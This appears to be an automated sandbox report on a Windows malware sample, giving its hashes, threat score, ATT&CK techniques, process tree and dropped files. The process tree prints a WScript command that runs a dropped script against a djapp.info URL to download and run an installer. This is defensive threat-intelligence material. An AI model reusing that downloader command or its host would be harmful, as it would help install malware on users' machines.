4784ff01183395cbbca37f078ac6f90d8752249e3bb857f473281992ec7255df

Analysis

max time kernel
120s
max time network
122s
platform
windows7_x64
resource
win7-20240508-en
resource tags

arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
submitted
20/05/2024, 03:40

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

5cff4f625c4a6f08070aba6f90c252ec_JaffaCakes118.exe
Size

184KB
MD5

5cff4f625c4a6f08070aba6f90c252ec
SHA1

0ab4e94b25900771194c6b1ace7faee7e6533428
SHA256

4784ff01183395cbbca37f078ac6f90d8752249e3bb857f473281992ec7255df
SHA512

054ef1a7742fc33fdedd478c320a477f4f92607e43ffc9727a22fc781851fbc4a3ab838872ec6e21d7173afcaba9fa93c05d0eeab67d7cae4b4c51009851ca8d
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO35r:/7BSH8zUB+nGESaaRvoB7FJNndnir

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 11 IoCs

flow	pid	Process
6	2656	WScript.exe
8	2656	WScript.exe
10	2656	WScript.exe
12	2500	WScript.exe
13	2500	WScript.exe
15	2544	WScript.exe
16	2544	WScript.exe
18	1740	WScript.exe
19	1740	WScript.exe
21	2884	WScript.exe
22	2884	WScript.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
1788	1644	WerFault.exe	27

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 1644 wrote to memory of 2656	1644	5cff4f625c4a6f08070aba6f90c252ec_JaffaCakes118.exe	28
PID 1644 wrote to memory of 2656	1644	5cff4f625c4a6f08070aba6f90c252ec_JaffaCakes118.exe	28
PID 1644 wrote to memory of 2656	1644	5cff4f625c4a6f08070aba6f90c252ec_JaffaCakes118.exe	28
PID 1644 wrote to memory of 2656	1644	5cff4f625c4a6f08070aba6f90c252ec_JaffaCakes118.exe	28
PID 1644 wrote to memory of 2500	1644	5cff4f625c4a6f08070aba6f90c252ec_JaffaCakes118.exe	30
PID 1644 wrote to memory of 2500	1644	5cff4f625c4a6f08070aba6f90c252ec_JaffaCakes118.exe	30
PID 1644 wrote to memory of 2500	1644	5cff4f625c4a6f08070aba6f90c252ec_JaffaCakes118.exe	30
PID 1644 wrote to memory of 2500	1644	5cff4f625c4a6f08070aba6f90c252ec_JaffaCakes118.exe	30
PID 1644 wrote to memory of 2544	1644	5cff4f625c4a6f08070aba6f90c252ec_JaffaCakes118.exe	32
PID 1644 wrote to memory of 2544	1644	5cff4f625c4a6f08070aba6f90c252ec_JaffaCakes118.exe	32
PID 1644 wrote to memory of 2544	1644	5cff4f625c4a6f08070aba6f90c252ec_JaffaCakes118.exe	32
PID 1644 wrote to memory of 2544	1644	5cff4f625c4a6f08070aba6f90c252ec_JaffaCakes118.exe	32
PID 1644 wrote to memory of 1740	1644	5cff4f625c4a6f08070aba6f90c252ec_JaffaCakes118.exe	34
PID 1644 wrote to memory of 1740	1644	5cff4f625c4a6f08070aba6f90c252ec_JaffaCakes118.exe	34
PID 1644 wrote to memory of 1740	1644	5cff4f625c4a6f08070aba6f90c252ec_JaffaCakes118.exe	34
PID 1644 wrote to memory of 1740	1644	5cff4f625c4a6f08070aba6f90c252ec_JaffaCakes118.exe	34
PID 1644 wrote to memory of 2884	1644	5cff4f625c4a6f08070aba6f90c252ec_JaffaCakes118.exe	36
PID 1644 wrote to memory of 2884	1644	5cff4f625c4a6f08070aba6f90c252ec_JaffaCakes118.exe	36
PID 1644 wrote to memory of 2884	1644	5cff4f625c4a6f08070aba6f90c252ec_JaffaCakes118.exe	36
PID 1644 wrote to memory of 2884	1644	5cff4f625c4a6f08070aba6f90c252ec_JaffaCakes118.exe	36
PID 1644 wrote to memory of 1788	1644	5cff4f625c4a6f08070aba6f90c252ec_JaffaCakes118.exe	38
PID 1644 wrote to memory of 1788	1644	5cff4f625c4a6f08070aba6f90c252ec_JaffaCakes118.exe	38
PID 1644 wrote to memory of 1788	1644	5cff4f625c4a6f08070aba6f90c252ec_JaffaCakes118.exe	38
PID 1644 wrote to memory of 1788	1644	5cff4f625c4a6f08070aba6f90c252ec_JaffaCakes118.exe	38

C:\Users\Admin\AppData\Local\Temp\5cff4f625c4a6f08070aba6f90c252ec_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\5cff4f625c4a6f08070aba6f90c252ec_JaffaCakes118.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1644
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf1C28.js" http://www.djapp.info/?domain=GRCGDZSUsc.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=KoR1JwXQ_LrsDjMuaUM9CgqlVE0PvlMlmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGIgkQVe88uQeqVvF6ZIoKUhkpvZWpzwXHeObuK-6mX4GJU2Nia1-_MKHVlwz C:\Users\Admin\AppData\Local\Temp\fuf1C28.exe
  2⤵
  - Blocklisted process makes network request
  PID:2656
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf1C28.js" http://www.djapp.info/?domain=GRCGDZSUsc.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=KoR1JwXQ_LrsDjMuaUM9CgqlVE0PvlMlmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGIgkQVe88uQeqVvF6ZIoKUhkpvZWpzwXHeObuK-6mX4GJU2Nia1-_MKHVlwz C:\Users\Admin\AppData\Local\Temp\fuf1C28.exe
  2⤵
  - Blocklisted process makes network request
  PID:2500
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf1C28.js" http://www.djapp.info/?domain=GRCGDZSUsc.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=KoR1JwXQ_LrsDjMuaUM9CgqlVE0PvlMlmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGIgkQVe88uQeqVvF6ZIoKUhkpvZWpzwXHeObuK-6mX4GJU2Nia1-_MKHVlwz C:\Users\Admin\AppData\Local\Temp\fuf1C28.exe
  2⤵
  - Blocklisted process makes network request
  PID:2544
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf1C28.js" http://www.djapp.info/?domain=GRCGDZSUsc.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=KoR1JwXQ_LrsDjMuaUM9CgqlVE0PvlMlmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGIgkQVe88uQeqVvF6ZIoKUhkpvZWpzwXHeObuK-6mX4GJU2Nia1-_MKHVlwz C:\Users\Admin\AppData\Local\Temp\fuf1C28.exe
  2⤵
  - Blocklisted process makes network request
  PID:1740
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf1C28.js" http://www.djapp.info/?domain=GRCGDZSUsc.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=KoR1JwXQ_LrsDjMuaUM9CgqlVE0PvlMlmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGIgkQVe88uQeqVvF6ZIoKUhkpvZWpzwXHeObuK-6mX4GJU2Nia1-_MKHVlwz C:\Users\Admin\AppData\Local\Temp\fuf1C28.exe
  2⤵
  - Blocklisted process makes network request
  PID:2884
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1644 -s 548
  2⤵
  - Program crash
  PID:1788

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA

Filesize
1KB

MD5
cbc282c89eaf33dcc25496b655dd3335

SHA1
12d03e52947a33c0aa0cb46699d361ea92c319d2

SHA256
ed35539ae2e3de90b4d09f6dbed4fc19febf9c5ec3b9e54bbe6b972a89bd63c0

SHA512
eb2411b661feeccc44ea7b9bf096279a9c5a9fd504836ba827fcb9b6a815796a8fd4b03c8ec0e36ea7eebe82c0f059cbca3509e52a400921401a1b485bcc360b

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464

Filesize
724B

MD5
8202a1cd02e7d69597995cabbe881a12

SHA1
8858d9d934b7aa9330ee73de6c476acf19929ff6

SHA256
58f381c3a0a0ace6321da22e40bd44a597bd98b9c9390ab9258426b5cf75a7a5

SHA512
97ba9fceab995d4bef706f8deef99e06862999734ebe6a05832c710104479c6337cbf0a76e1c1e0f91566a61334dc100d837dfd049e20da765fe49def684f9c9

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA

Filesize
410B

MD5
83cac64a993b1ef75083d5652545b2d5

SHA1
42691076578f197a8eddaa25c2d4fd6f0b7719d3

SHA256
bc2128635bf951dbcb18e0bae4fd6500add5ee28112cea68ed6a548ed051d90c

SHA512
f9bf75e400e2ac53e79834670c88d077834d2402d3af403dcb9b055274828a0d64550c647af63b4e1f0ad533ac953b56d8520406fa84e73d77966a688c508da0

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
f684bea2caf428e3b62ca512f30b8fc7

SHA1
908f355edc82a94d6f512ff6ece054edcb553a46

SHA256
ce97988b7ce7ca6aca5cd08f96d9d6c52bd46721e58a36c7a19817b1bbc70994

SHA512
4b55beefa4d6cd79a4393446e94c44d2cb3e434d8cbd85aaa38ee1c3000f6d3950835c66f127d5557de032f4d57af8b6a33590b4eb2f606f5aa3ac5896a5d2fc

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464

Filesize
392B

MD5
0a4c8875bd56dc7ef125302d6eb8d945

SHA1
3bbb6ad66f55c88b18dcd2f24182bb7d36ad7509

SHA256
0688e15d1e3d7ba2b551ee171ffb23b90c36a826e3035c075c95fa0260b71502

SHA512
a6051c6fa7af7708e1d2adcd298311541bd6a0c5cbacab718a7690d992f62811d46d097cca839878b6421c403c5223fcfab72f0d056e096f885d495196f259c9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\2XHJXO3H\domain_profile[1].htm

Filesize
6KB

MD5
20bdacc33e343857065b50c8b826e570

SHA1
f6e86e56bc26241d21bb9826be196c50b5354cac

SHA256
294b325807fa87483ab05d45dd5cfeb62ee5b6b301f29d4d85d118921a9a645f

SHA512
4fe99315541376f8f1fd35264b6e2f340ad7b752d54fc06e65c8ccd79d7c5365d84d88b4813f212bd7a594d83c4bf0ad2ec724491ddf19023f37614ff455affc

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\2XHJXO3H\domain_profile[1].htm

Filesize
40KB

MD5
18c793f0b6bebb219d6a8c07f0c974eb

SHA1
c5837666db2350c071c2470b2462d3a2baeeeb3a

SHA256
2cf6dba38807a5c4a06992365482cb981def246ff1cdc801f53cf5b503635fc7

SHA512
5c0d5f1b785a9d6a3ba61cb6be5395019e7f05299dabbdf727d1896fcf1624632441ce58e2cae9da2aa8ad922d1dce9101f01a4ff47e4b4bc91eb4ee7e2f4879

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\H09CVCL3\domain_profile[1].htm

Filesize
40KB

MD5
abb9560b416361f552d047bf93d5c79f

SHA1
953499ab2aecf3e5d1174fc4bf6acde26c4e47dc

SHA256
398e76c2d905af1bc2812525b754811e3332591ff241507257a8009ee33de8b5

SHA512
f4698d9a9ff19829aab51788f58e31aa5dc30da2a828a968afe8530f700aba09e06c176e8b92433b4068e23ae23abc9df33a0aed1c2f07edfd73caa5115ed7ee

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\H09CVCL3\domain_profile[1].htm

Filesize
40KB

MD5
f5675cdf9f588ed686a9bf74122c924e

SHA1
89053918b46fa6f85d56da7e4faa66e0e2a456db

SHA256
891c8166034580a32db9976adb37241417e9db30f5c22041c23577c4298a60f2

SHA512
3310034a29baca88c1cc097cc4a1f470d09a2b08a99ba767c5cbdef4943834fbe045d529c95fe4485ffe925f7ad4d67fa9f55ac184e22283f6974bf93052762c

Download Submit
C:\Users\Admin\AppData\Local\Temp\Cab4B52.tmp

Filesize
68KB

MD5
29f65ba8e88c063813cc50a4ea544e93

SHA1
05a7040d5c127e68c25d81cc51271ffb8bef3568

SHA256
1ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184

SHA512
e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar63C3.tmp

Filesize
177KB

MD5
435a9ac180383f9fa094131b173a2f7b

SHA1
76944ea657a9db94f9a4bef38f88c46ed4166983

SHA256
67dc37ed50b8e63272b49a254a6039ee225974f1d767bb83eb1fd80e759a7c34

SHA512
1a6b277611959720a9c71114957620517ad94541302f164eb872bd322292a952409bafb8bc2ac793b16ad5f25d83f8594ccff2b7834e3c2b2b941e6fc84c009a

Download Submit
C:\Users\Admin\AppData\Local\Temp\fuf1C28.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Cookies\KQRMW2VL.txt

Filesize
175B

MD5
bce1a73788d8adc80107bd32ecef37d7

SHA1
c88b802013a1f0070fe0a4048f2d5952233a44ed

SHA256
53fe76a66c567eed514f0d74b56a710bd61d4bd1983617ac1cb90ed151b34a44

SHA512
818ac1b445a5178ed4c9729883b480782e04031529008103b0349e7a17fa5811eaf4c5fef36e493a0959fdd79c524395d4346411a257736650411df010b5b3d1

Download Submit